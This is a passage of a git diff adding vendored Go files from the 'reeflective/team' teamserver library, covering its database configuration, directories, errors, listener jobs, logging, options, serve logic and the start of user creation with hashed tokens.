log.Errorf("Failed to save default config %s", err) + } + + return config, nil +} + +func (ts *Server) getDefaultDatabaseConfig() *db.Config { + cfg := &db.Config{ + Dialect: db.Sqlite, + MaxIdleConns: maxIdleConns, + MaxOpenConns: maxOpenConns, + + LogLevel: "warn", + } + + if ts.opts.inMemory { + cfg.Database = db.SQLiteInMemoryHost + } else { + cfg.Database = filepath.Join(ts.TeamDir(), fmt.Sprintf("%s.teamserver.db", ts.name)) + } + + return cfg +} + +// initDatabase should be called once when a teamserver is created. +func (ts *Server) initDatabase() (err error) { + ts.dbInit.Do(func() { + dbLogger := ts.NamedLogger("database", "database") + + if ts.db != nil { + err = ts.db.AutoMigrate(db.Schema()...) + return + } + + ts.opts.dbConfig, err = ts.getDatabaseConfig() + if err != nil { + return + } + + ts.db, err = db.NewClient(ts.opts.dbConfig, dbLogger) + if err != nil { + return + } + }) + + return err +} + +func (ts *Server) dbSession() *gorm.DB { + return ts.db.Session(&gorm.Session{ + FullSaveAssociations: true, + }) +} diff --git a/vendor/github.com/reeflective/team/server/directories.go b/vendor/github.com/reeflective/team/server/directories.go new file mode 100644 index 0000000000..af75c7b4bf --- /dev/null +++ b/vendor/github.com/reeflective/team/server/directories.go @@ -0,0 +1,107 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "os/user" + "path" + "path/filepath" + + "github.com/reeflective/team/internal/assets" +) + +// HomeDir returns the root application directory (~/.app/ by default). +// This directory can be set with the environment variable _ROOT_DIR. +// This directory is not to be confused with the ~/.app/teamserver directory +// returned by the server.TeamDir(), which is specific to the app teamserver. +func (ts *Server) HomeDir() string { + var dir string + + // Note: very important not to combine the nested if here. + if !ts.opts.inMemory { + if ts.homeDir == "" { + user, _ := user.Current() + dir = filepath.Join(user.HomeDir, "."+ts.name) + } else { + dir = ts.homeDir + } + } else { + dir = "." + ts.name + } + + err := ts.fs.MkdirAll(dir, assets.DirPerm) + if err != nil { + ts.log().Errorf("cannot write to %s root dir: %s", dir, err) + } + + return dir +} + +// TeamDir returns the teamserver directory of the app (named ~/./teamserver/), +// creating the directory if needed, or logging an error event if failing to create it. +// This directory is used to store teamserver certificates, database, logs, and configs. +func (ts *Server) TeamDir() string { + dir := path.Join(ts.HomeDir(), ts.opts.teamDir) + + err := ts.fs.MkdirAll(dir, assets.DirPerm) + if err != nil { + ts.log().Errorf("cannot write to %s root dir: %s", dir, err) + } + + return dir +} + +// LogsDir returns the log directory of the server (~/.app-server/logs), creating +// the directory if needed, or logging a fatal event if failing to create it. +func (ts *Server) LogsDir() string { + logDir := path.Join(ts.TeamDir(), assets.DirLogs) + + err := ts.fs.MkdirAll(logDir, assets.DirPerm) + if err != nil { + ts.log().Errorf("cannot write to %s root dir: %s", logDir, err) + } + + return logDir +} + +// Configs returns the configs directory of the server (~/.app-server/logs), creating +// the directory if needed, or logging a fatal event if failing to create it. +func (ts *Server) ConfigsDir() string { + logDir := path.Join(ts.TeamDir(), assets.DirConfigs) + + err := ts.fs.MkdirAll(logDir, assets.DirPerm) + if err != nil { + ts.log().Errorf("cannot write to %s root dir: %s", logDir, err) + } + + return logDir +} + +// CertificatesDir returns the directory storing users CA PEM files as backup, +// (~/.app/teamserver/certs), either on-disk or in-memory if the teamserver is. +func (ts *Server) CertificatesDir() string { + certDir := path.Join(ts.TeamDir(), assets.DirCerts) + + err := ts.fs.MkdirAll(certDir, assets.DirPerm) + if err != nil { + ts.log().Errorf("cannot write to %s root dir: %s", certDir, err) + } + + return certDir +} diff --git a/vendor/github.com/reeflective/team/server/errors.go b/vendor/github.com/reeflective/team/server/errors.go new file mode 100644 index 0000000000..e050c35e00 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/errors.go @@ -0,0 +1,83 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import "errors" + +var ( + // + // Filesystem errors. + // + + // ErrDirectory is an error related to directories used by the teamserver. + ErrDirectory = errors.New("teamserver directory") + + // ErrDirectoryUnwritable is an error returned when the teamserver checked for write permissions + // on a directory path it needs, and that the Go code of the teamserver has determined that the + // file is really non-user writable. This error is NEVER returned "because the path does not exist". + ErrDirectoryUnwritable = errors.New("The directory seems to be unwritable (to the app runtime)") + + // ErrLogging is an error related with the logging backend. + // Some errors can be about writable files/directories. + ErrLogging = errors.New("logging") + + // ErrSecureRandFailed indicates that the teamserver could not read from the system secure random source. + ErrSecureRandFailed = errors.New("failed to read from secure rand") + + // + // Teamserver core errors. + // + + // ErrConfig is an error related to the teamserver configuration. + ErrConfig = errors.New("teamserver config") + + // ErrDatabaseConfig is an error related to the database configuration. + ErrDatabaseConfig = errors.New("teamserver database configuration") + + // ErrDatabase is an error raised by the database backend. + ErrDatabase = errors.New("database") + + // ErrTeamServer is an error raised by the teamserver core code. + ErrTeamServer = errors.New("teamserver") + + // ErrCertificate is an error related to the certificate infrastructure. + ErrCertificate = errors.New("certificates") + + // ErrUserConfig is an error related to users (teamclients) configuration files. + ErrUserConfig = errors.New("user configuration") + + // ErrUnauthenticated indicates that a client user could not authenticate itself, + // whether at connection time, or when requesting server-side features/info. + ErrUnauthenticated = errors.New("User authentication failure") + + // + // Listener errors. + // + + // ErrNoListener indicates that the server could not find any listener/server + // stack to run when one of its .Serve*() methods were invoked. If such an error + // is raised, make sure you passed a server.Listener type with WithListener() option. + ErrNoListener = errors.New("the teamserver has no listeners to start") + + // ErrListenerNotFound indicates that for a given ID, no running or persistent listener could be found. + ErrListenerNotFound = errors.New("no listener exists with ID") + + // ErrListener indicates an error raised by a listener stack/implementation. + ErrListener = errors.New("teamserver listener") +) diff --git a/vendor/github.com/reeflective/team/server/jobs.go b/vendor/github.com/reeflective/team/server/jobs.go new file mode 100644 index 0000000000..c2004fef6d --- /dev/null +++ b/vendor/github.com/reeflective/team/server/jobs.go @@ -0,0 +1,227 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "errors" + "fmt" + "net" + "sync" +) + +// job - Manages background jobs. +type job struct { + ID string + Name string + Description string + kill chan bool + Persistent bool +} + +// jobs - Holds refs to all active jobs. +type jobs struct { + active *sync.Map +} + +func newJobs() *jobs { + return &jobs{ + active: &sync.Map{}, + } +} + +// Add - Add a job to the hive (atomically). +func (j *jobs) Add(listener *job) { + j.active.Store(listener.ID, listener) +} + +// Get - Get a Job. +func (j *jobs) Get(jobID string) *job { + if jobID == "" { + return nil + } + + val, ok := j.active.Load(jobID) + if ok { + return val.(*job) + } + + return nil +} + +// Listeners returns a list of all running listener jobs. +// If you also want the list of the non-running, persistent +// ones, use the teamserver Config(). +func (ts *Server) Listeners() []*job { + all := []*job{} + + // Active listeners + ts.jobs.active.Range(func(key, value interface{}) bool { + all = append(all, value.(*job)) + return true + }) + + return all +} + +// ListenerAdd adds a teamserver listener job to the teamserver configuration. +// This function does not start the given listener, and you must call the server +// ServeAddr(name, host, port) function for this. +func (ts *Server) ListenerAdd(name, host string, port uint16) error { + listener := struct { + Name string `json:"name"` + Host string `json:"host"` + Port uint16 `json:"port"` + ID string `json:"id"` + }{ + Name: name, + Host: host, + Port: port, + ID: getRandomID(), + } + + if listener.Name == "" && ts.self != nil { + listener.Name = ts.self.Name() + } + + ts.opts.config.Listeners = append(ts.opts.config.Listeners, listener) + + return ts.SaveConfig(ts.opts.config) +} + +// ListenerRemove removes a server listener job from the configuration. +// This function does not stop any running listener for the given ID: you +// must call server.CloseListener(id) for this. +func (ts *Server) ListenerRemove(listenerID string) { + if ts.opts.config.Listeners == nil { + return + } + + defer ts.SaveConfig(ts.opts.config) + + var listeners []struct { + Name string `json:"name"` + Host string `json:"host"` + Port uint16 `json:"port"` + ID string `json:"id"` + } + + for _, listener := range ts.opts.config.Listeners { + if listener.ID != listenerID { + listeners = append(listeners, listener) + } + } + + ts.opts.config.Listeners = listeners +} + +// ListenerClose closes/stops an active teamserver listener by ID. +// This function can only return an ErrListenerNotFound if the ID +// is invalid: all listener-specific options are logged instead. +func (ts *Server) ListenerClose(id string) error { + listener := ts.jobs.Get(id) + if listener == nil { + return ts.errorf("%w: %s", ErrListenerNotFound, id) + } + + listener.kill <- true + + return nil +} + +// ListenerStartPersistents attempts to start all listeners saved in the teamserver +// configuration file, looking up the listener stacks in its map and starting them +// for each bind target. +// If the teamserver has been passed the WithContinueOnError() option at some point, +// it will log all errors raised by listener stacks will still try to start them all. +func (ts *Server) ListenerStartPersistents() error { + var listenerErrors error + + log := ts.NamedLogger("teamserver", "listeners") + + if ts.opts.config.Listeners == nil { + return nil + } + + for _, ln := range ts.opts.config.Listeners { + handler := ts.handlers[ln.Name] + if handler == nil { + handler = ts.self + } + + if handler == nil { + if !ts.opts.continueOnError { + return ts.errorf("Failed to find handler for `%s` listener (%s:%d)", ln.Name, ln.Host, ln.Port) + } + + continue + } + + err := ts.serve(handler, ln.ID, ln.Host, ln.Port) + + if err == nil { + continue + } + + log.Errorf("Failed to start %s listener (%s:%d): %s", ln.Name, ln.Host, ln.Port, err) + + if !ts.opts.continueOnError { + return err + } + + listenerErrors = errors.Join(listenerErrors, err) + } + + return nil +} + +func (ts *Server) addListenerJob(listenerID, name, host string, port int, ln net.Listener) { + log := ts.NamedLogger("teamserver", "listeners") + + if listenerID == "" { + listenerID = getRandomID() + } + + laddr := host + if port != 0 { + laddr = fmt.Sprintf("%s:%d", laddr, port) + } + + if laddr == "" { + laddr = "runtime" + } + + listener := &job{ + ID: listenerID, + Name: name, + Description: laddr, + kill: make(chan bool), + } + + go func() { + <-listener.kill + + // Kills listener goroutines but NOT connections. + log.Infof("Stopping teamserver %s listener (%s)", name, listener.ID) + ln.Close() + + ts.jobs.active.LoadAndDelete(listener.ID) + }() + + ts.jobs.active.Store(listener.ID, listener) +} diff --git a/vendor/github.com/reeflective/team/server/log.go b/vendor/github.com/reeflective/team/server/log.go new file mode 100644 index 0000000000..7b1729c6d1 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/log.go @@ -0,0 +1,132 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "path/filepath" + + "github.com/reeflective/team/internal/log" + "github.com/sirupsen/logrus" +) + +// NamedLogger returns a new logging "thread" with two fields (optional) +// to indicate the package/general domain, and a more precise flow/stream. +// The events are logged according to the teamclient logging backend setup. +func (ts *Server) NamedLogger(pkg, stream string) *logrus.Entry { + return ts.log().WithFields(logrus.Fields{ + log.PackageFieldKey: pkg, + "stream": stream, + }) +} + +// SetLogLevel sets the logging level of teamserver loggers (excluding audit ones). +func (ts *Server) SetLogLevel(level int) { + if ts.stdioLog == nil { + return + } + + if uint32(level) > uint32(logrus.TraceLevel) { + level = int(logrus.TraceLevel) + } + + ts.stdioLog.SetLevel(logrus.Level(uint32(level))) + + // Also Change the file-based logging level: + // - If they app runs a memfs, this wont have any effect. + // - If the user wants to debug anyway, better two sources than one. + if ts.fileLog != nil { + ts.fileLog.SetLevel(logrus.Level(uint32(level))) + } +} + +// AuditLogger returns a special logger writing its event entries to an audit +// log file (default audit.json), distinct from other teamserver log files. +// Listener implementations will want to use this for logging various teamclient +// application requests, with this logger used somewhere in your listener middleware. +func (ts *Server) AuditLogger() (*logrus.Logger, error) { + if ts.opts.inMemory || ts.opts.noLogs { + return ts.log(), nil + } + + // Generate a new audit logger + auditLog, err := log.NewAudit(ts.fs, ts.LogsDir()) + if err != nil { + return nil, ts.errorf("%w: %w", ErrLogging, err) + } + + return auditLog, nil +} + +// Initialize loggers in files/stdout according to options. +func (ts *Server) initLogging() (err error) { + // If user supplied a logger, use it in place of the + // file-based logger, since the file logger is optional. + if ts.opts.logger != nil { + ts.fileLog = ts.opts.logger + return nil + } + + logFile := filepath.Join(ts.LogsDir(), log.FileName(ts.Name(), true)) + + // If the teamserver should log to a given file. + if ts.opts.logFile != "" { + logFile = ts.opts.logFile + } + + level := logrus.Level(ts.opts.config.Log.Level) + + // Create any additional/configured logger and related/missing hooks. + ts.fileLog, ts.stdioLog, err = log.Init(ts.fs, logFile, level) + if err != nil { + return err + } + + return nil +} + +// log returns a non-nil logger for the server: +// if file logging is disabled, it returns the stdout-only logger, +// otherwise returns the file logger equipped with a stdout hook. +func (ts *Server) log() *logrus.Logger { + if ts.fileLog == nil { + return ts.stdioLog + } + + return ts.fileLog +} + +func (ts *Server) errorf(msg string, format ...any) error { + logged := fmt.Errorf(msg, format...) + ts.log().Error(logged) + + return logged +} + +func (ts *Server) errorWith(log *logrus.Entry, msg string, format ...any) error { + logged := fmt.Errorf(msg, format...) + + if log != nil { + log.Error(logged) + } else { + ts.log().Error(logged) + } + + return logged +} diff --git a/vendor/github.com/reeflective/team/server/options.go b/vendor/github.com/reeflective/team/server/options.go new file mode 100644 index 0000000000..fe0b1488ad --- /dev/null +++ b/vendor/github.com/reeflective/team/server/options.go @@ -0,0 +1,264 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "os" + "strings" + + "github.com/reeflective/team/internal/assets" + "github.com/reeflective/team/internal/db" + "github.com/sirupsen/logrus" + "gorm.io/gorm" +) + +const noTeamdir = "no team subdirectory" + +// Options are server options. +// With these you can set/reset or modify the behavior of a teamserver +// at various stages of its lifetime, or when performing some specific +// actions. +// Note that some options can only be used once, while others can be +// used multiple times. Examples of the former are log files and database +// backends, while the latter includes listeners/hooks. +// Each option will specify this in its description. +type Options func(opts *opts) + +type opts struct { + homeDir string + teamDir string + logFile string + local bool + noLogs bool + inMemory bool + continueOnError bool + + config *Config + dbConfig *db.Config + db *gorm.DB + logger *logrus.Logger + listeners []Listener +} + +// default in-memory configuration, ready to run. +func newDefaultOpts() *opts { + options := &opts{ + config: getDefaultServerConfig(), + local: false, + } + + return options +} + +func (ts *Server) apply(options ...Options) { + for _, optFunc := range options { + optFunc(ts.opts) + } + + // The server will apply options multiple times + // in its lifetime, but some options can only be + // set once when created. + ts.initOpts.Do(func() { + // Application home directory. + homeDir := os.Getenv(fmt.Sprintf("%s_ROOT_DIR", strings.ToUpper(ts.name))) + if homeDir != "" { + ts.homeDir = homeDir + } else { + ts.homeDir = ts.opts.homeDir + } + + // Team directory. + if ts.opts.teamDir == noTeamdir { + ts.opts.teamDir = "" + } else if ts.opts.teamDir == "" { + ts.opts.teamDir = assets.DirServer + } + + // User-defined database. + if ts.opts.db != nil { + ts.db = ts.opts.db + } + }) + + // Load any listener backends any number of times. + for _, listener := range ts.opts.listeners { + ts.handlers[listener.Name()] = listener + } + + // Make the first one as the default if needed. + if len(ts.opts.listeners) > 0 && ts.self == nil { + ts.self = ts.opts.listeners[0] + } + + // And clear the most recent listeners passed via options. + ts.opts.listeners = make([]Listener, 0) +} + +// +// *** General options *** +// + +// WithInMemory deactivates all interactions of the client with the filesystem. +// This applies to logging, but will also to any forward feature using files. +// +// Implications on database backends: +// By default, all teamservers use sqlite3 as a backend, and thus will run a +// database in memory. All other databases are assumed to be unable to do so, +// and this option will thus trigger an error whenever the option is applied, +// whether it be at teamserver creation, or when it does start listeners. +// +// This option can only be used once, and must be passed to server.New(). +func WithInMemory() Options { + return func(opts *opts) { + opts.noLogs = true + opts.inMemory = true + } +} + +// WithDefaultPort sets the default port on which the teamserver should start listeners. +// This default is used in the default daemon configuration, and as command flags defaults. +// The default port set for teamserver applications is port 31416. +// +// This option can only be used once, and must be passed to server.New(). +func WithDefaultPort(port uint16) Options { + return func(opts *opts) { + opts.config.DaemonMode.Port = int(port) + } +} + +// WithDatabase sets the server database to an existing database. +// Note that it will run an automigration of the teamserver types (certificates and users). +// +// This option can only be used once, and must be passed to server.New(). +func WithDatabase(db *gorm.DB) Options { + return func(opts *opts) { + opts.db = db + } +} + +// WithDatabaseConfig sets the server to use a database backend with a given configuration. +// +// This option can only be used once, and must be passed to server.New(). +func WithDatabaseConfig(config *db.Config) Options { + return func(opts *opts) { + opts.dbConfig = config + } +} + +// WithHomeDirectory sets the default path (~/.app/) of the application directory. +// This path can still be overridden at the user-level with the env var APP_ROOT_DIR. +// +// This option can only be used once, and must be passed to server.New(). +func WithHomeDirectory(path string) Options { + return func(opts *opts) { + opts.homeDir = path + } +} + +// WithTeamDirectory sets the name (not a path) of the teamserver-specific subdirectory. +// For example, passing "my_server_dir" will make the teamserver use ~/.app/my_server_dir/ +// instead of ~/.app/teamserver/. +// If this function is called with an empty string, the teamserver will not use any +// subdirectory for its own outputs, thus using ~/.app as its teamserver directory. +// +// This option can only be used once, and must be passed to server.New(). +func WithTeamDirectory(name string) Options { + return func(opts *opts) { + if name == "" { + name = noTeamdir + } + + opts.teamDir = name + } +} + +// +// *** Logging options *** +// + +// WithNoLogs deactivates all logging normally done by the teamserver +// if noLogs is set to true, or keeps/reestablishes them if false. +// +// This option can only be used once, and must be passed to server.New(). +func WithNoLogs(noLogs bool) Options { + return func(opts *opts) { + opts.noLogs = noLogs + } +} + +// WithLogFile sets the path to the file where teamserver logging should be done. +// The default path is ~/.app/teamserver/logs/app.teamserver.log. +// +// This option can only be used once, and must be passed to server.New(). +func WithLogFile(filePath string) Options { + return func(opts *opts) { + opts.logFile = filePath + } +} + +// WithLogger sets the teamserver to use a specific logger for +// all logging, except the audit log which is indenpendent. +// +// This option can only be used once, and must be passed to server.New(). +func WithLogger(logger *logrus.Logger) Options { + return func(opts *opts) { + opts.logger = logger + } +} + +// +// *** Server network/RPC options *** +// + +// WithListener registers a listener/server stack with the teamserver. +// The teamserver can then serve this listener stack for any number of bind +// addresses, which users can trigger through the various server.Serve*() methods. +// +// It accepts an optional list of pre-serve hook functions: +// These should accept a generic object parameter which is none other than the +// serverConn returned by the listener.Serve(ln) method. These hooks will +// be very useful- if not necessary- for library users to manipulate their server. +// See the server.Listener type documentation for details. +// +// This option can be used multiple times, either when using +// team/server.New() or with the different server.Serve*() methods. +func WithListener(ln Listener) Options { + return func(opts *opts) { + if ln == nil { + return + } + + opts.listeners = append(opts.listeners, ln) + } +} + +// WithContinueOnError sets the server behavior when starting persistent listeners +// (either automatically when calling teamserver.ServeDaemon(), or when using +// teamserver.StartPersistentListeners()). +// If true, an error raised by a listener will not prevent others to try starting, and +// errors will be joined into a single one, separated with newlines and logged by default. +// The teamserver has this set to false by default. +// +// This option can be used multiple times. +func WithContinueOnError(continueOnError bool) Options { + return func(opts *opts) { + opts.continueOnError = continueOnError + } +} diff --git a/vendor/github.com/reeflective/team/server/server.go b/vendor/github.com/reeflective/team/server/server.go new file mode 100644 index 0000000000..08e24e4974 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/server.go @@ -0,0 +1,269 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "net" + "os" + "os/signal" + "regexp" + "runtime/debug" + "syscall" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/certs" +) + +// Listener represents a teamserver listener stack. +// Any type implementing this interface can be served and controlled +// by a team/server.Server core, and remote clients can connect to it +// with the appropriate/corresponding team/client.Dialer backend. +// +// Errors: all errors returned by the listener interface methods are considered critical, +// (except the Close() error one), and thus will stop the listener start/server process +// when raised. Thus, you should only return errors that are critical to the operation +// of your listener. You can use the teamserver loggers to log/print non-critical ones. +type Listener interface { + // Name returns the name of the "listener/server/RPC" stack + // of this listener, eg. "gRPC" for a gRPC listener, "myCustomHTTP" + // for your quick-and-dirty custom stack, etc. + // Note that this name is used as a key by the teamserver to store the + // different listener stacks it may use, so this name should be unique + // among all listener stacks registered to a given teamserver runtime. + Name() string + + // Init is used by the listener to access the core teamserver, needed for: + // - Fetching server-side transport/session-level credentials. + // - Authenticating users connections/requests. + // - Using the builtin teamserver loggers, filesystem and other utilities. + // Any non-nil error returned will abort the listener starting process. + Init(s *Server) error + + // Listen is used to create and bind a network listener to some address + // Implementations are free to handle incoming connections the way they + // want, since they have had access to the server in Init() for anything + // related they might need. + // As an example, the gRPC default transport serves a gRPC server on this + // listener, registers its RPC services, and returns the listener for the + // teamserver to wrap it in job control. + // This call MUST NOT block, just like the normal usage of net.Listeners. + Listen(addr string) (ln net.Listener, err error) + + // Close should close the listener stack. + // This can mean different things depending on use case, but some are not recommended. + // - It can simply close the "listener" layer without shutting down the "server/RPC" layer. + // - It can shutdown anything, thus in effect disconnecting all of its clients from server. + Close() error +} + +// Serve attempts the default listener of the teamserver (which is either +// the first one to have been registered, or the only one registered at all). +// It the responsibility of any teamclients produced by the teamserver.Self() +// method to call their Connect() method: the server will answer. +func (ts *Server) Serve(cli *client.Client, opts ...Options) error { + if ts.self == nil { + return ErrNoListener + } + + // Some errors might come from user-provided hooks, + // so we don't wrap errors again, our own errors + // have been prepared accordingly in this call. + err := ts.serve(ts.self, "", "", 0, opts...) + if err != nil { + return err + } + + // Use a fake config with a non-empty name. + cliOpts := []client.Options{ + client.WithConfig(&client.Config{User: "server"}), + } + + return cli.Connect(cliOpts...) +} + +// ServeDaemon is a blocking call which starts the teamserver as daemon process, using +// either the provided host:port arguments, or the ones found in the teamserver config. +// This function will also (and is the only one to) start all persistent team listeners. +// +// It blocks by waiting for a syscal.SIGTERM (eg. CtrlC on Linux) signal. Upon receival, +// the teamserver will close the main listener (the daemon one), but not persistent ones. +// +// Errors raised by closing the listener are wrapped in an ErrListener, logged and returned. +func (ts *Server) ServeDaemon(host string, port uint16, opts ...Options) (err error) { + log := ts.NamedLogger("daemon", "main") + + // cli args take president over config + if host == blankHost { + host = ts.opts.config.DaemonMode.Host + log.Debugf("No host specified, using config file default: %s", host) + } + + if port == blankPort { + port = uint16(ts.opts.config.DaemonMode.Port) + log.Debugf("No port specified, using config file default: %d", port) + } + + defer func() { + if r := recover(); r != nil { + log.Errorf("panic:\n%s", debug.Stack()) + } + }() + + // Start the listener. + log.Infof("Starting %s teamserver daemon on %s:%d ...", ts.Name(), host, port) + + listenerID, err := ts.ServeAddr(ts.self.Name(), host, port, opts...) + if err != nil { + return err + } + + // Now that the main teamserver listener is started, + // we can start all our persistent teamserver listeners. + // That way, if any of them collides with our current bind, + // we just serve it for him + hostPort := regexp.MustCompile(fmt.Sprintf("%s:%d", host, port)) + + err = ts.ListenerStartPersistents() + if err != nil && hostPort.MatchString(err.Error()) { + log.Errorf("Error starting persistent listeners: %s\n", err) + } + + done := make(chan bool) + signals := make(chan os.Signal, 1) + signal.Notify(signals, syscall.SIGTERM) + + go func() { + <-signals + log.Infof("Received SIGTERM, exiting ...") + + err = ts.ListenerClose(listenerID) + if err != nil { + log.Errorf("%s: %s", ErrListener, err) + } + done <- true + }() + <-done + + return err +} + +// ServeAddr attempts to serve a listener stack identified by "name" (the listener should be registered +// with the teamserver with WithListener() option), on a given host:port address, with any provided option. +// If returns either a critical error raised by the listener, or the ID of the listener job, for control. +// The call is non-blocking, contrarily to the server.ServeDaemon() method. +func (ts *Server) ServeAddr(name string, host string, port uint16, opts ...Options) (id string, err error) { + // If server was not initialized yet, do it. + // This at least will update any listener/server-specific options. + err = ts.init(opts...) + if err != nil { + return "", ts.errorf("%w: %w", ErrTeamServer, err) + } + + // Ensure we have at least one available listener. + handler := ts.handlers[name] + + if handler == nil { + handler = ts.self + } + + if handler == nil { + return "", ErrNoListener + } + + // Generate the listener ID now so we can return it. + listenerID := getRandomID() + + err = ts.serve(handler, listenerID, host, port, opts...) + + return listenerID, err +} + +// serve will attempt to serve a given listener/server stack to a given (host:port) address. +// If the ID parameter is empty, a job ID for this listener will be automatically generated. +// Any errors raised by the listener itself are considered critical and returned wrapped in a ListenerErr. +func (ts *Server) serve(ln Listener, ID, host string, port uint16, opts ...Options) error { + log := ts.NamedLogger("teamserver", "handler") + + // If server was not initialized yet, do it. + // This has no effect redundant with the ServeAddr() method. + err := ts.init(opts...) + if err != nil { + return ts.errorf("%w: %w", ErrTeamServer, err) + } + + // Let the handler initialize itself: load everything it needs from + // the server, configuration, fetch certificates, log stuff, etc. + err = ln.Init(ts) + if err != nil { + return ts.errorWith(log, "%w: %w", ErrListener, err) + } + + // Now let the handler start listening on somewhere. + laddr := fmt.Sprintf("%s:%d", host, port) + + // This call should not block, serve the listener immediately. + listener, err := ln.Listen(laddr) + if err != nil { + return ts.errorWith(log, "%w: %w", ErrListener, err) + } + + // The server is running, so add a job anyway. + ts.addListenerJob(ID, ln.Name(), host, int(port), listener) + + return nil +} + +// Handlers returns a copy of its teamserver listeners map. +// This can be useful if you want to start them with the server ServeListener() method. +// Or -but this is not recommended by this library- to use those listeners without the +// teamserver driving the init/start/serve/stop process. +func (ts *Server) Handlers() map[string]Listener { + handlers := make(map[string]Listener, len(ts.handlers)) + + for name, handler := range ts.handlers { + handlers[name] = handler + } + + return handlers +} + +func (ts *Server) init(opts ...Options) error { + var err error + + // Always reaply options, since it could be used by different listeners. + ts.apply(opts...) + + ts.initServe.Do(func() { + // Database configuration. + if err = ts.initDatabase(); err != nil { + return + } + + // Load any relevant server configuration: on disk, + // contained in options, or the default one. + ts.opts.config = ts.GetConfig() + + // Certificate infrastructure, will make the code panic if unable to work properly. + certsLog := ts.NamedLogger("certs", "certificates") + ts.certs = certs.NewManager(ts.fs, ts.dbSession(), certsLog, ts.Name(), ts.TeamDir()) + }) + + return err +} diff --git a/vendor/github.com/reeflective/team/server/users.go b/vendor/github.com/reeflective/team/server/users.go new file mode 100644 index 0000000000..d94ac9d0f6 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/users.go @@ -0,0 +1,335 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "crypto/rand" + "crypto/sha256" + "crypto/tls" + "crypto/x509" + "encoding/hex" + "errors" + "fmt" + "regexp" + "sync" + "time" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/certs" + "github.com/reeflective/team/internal/db" +) + +var namePattern = regexp.MustCompile("^[a-zA-Z0-9_-]*$") // Only allow alphanumeric chars + +// UserCreate creates a new teamserver user, with all cryptographic material and server remote +// endpoints needed by this user to connect to us. +// +// Certificate files and the API authentication token are saved into the teamserver database, +// conformingly to its configured backend/filesystem (can be in-memory or on filesystem). +func (ts *Server) UserCreate(name string, lhost string, lport uint16) (*client.Config, error) { + if err := ts.initDatabase(); err != nil { + return nil, ts.errorf("%w: %w", ErrDatabase, err) + } + + if !namePattern.MatchString(name) { + return nil, ts.errorf("%w: invalid user name (alphanumerics only)", ErrUserConfig) + } + + if name == "" { + return nil, ts.errorf("%w: user name required ", ErrUserConfig) + } + + if lhost == "" { + return nil, ts.errorf("%w: invalid team server host (empty)", ErrUserConfig) + } + + if lport == blankPort { + lport = uint16(ts.opts.config.DaemonMode.Port) + } + + rawToken, err := ts.newUserToken() + if err != nil { + return nil, ts.errorf("%w: %w", ErrUserConfig, err) + } + + digest := sha256.Sum256([]byte(rawToken)) + dbuser := &db.User{ + Name: name, + Token: hex.EncodeToString(digest[:]), + } + + err = ts.dbSession().Save(dbuser).Error + if err != nil { + return nil, ts.errorf("%w: %w", 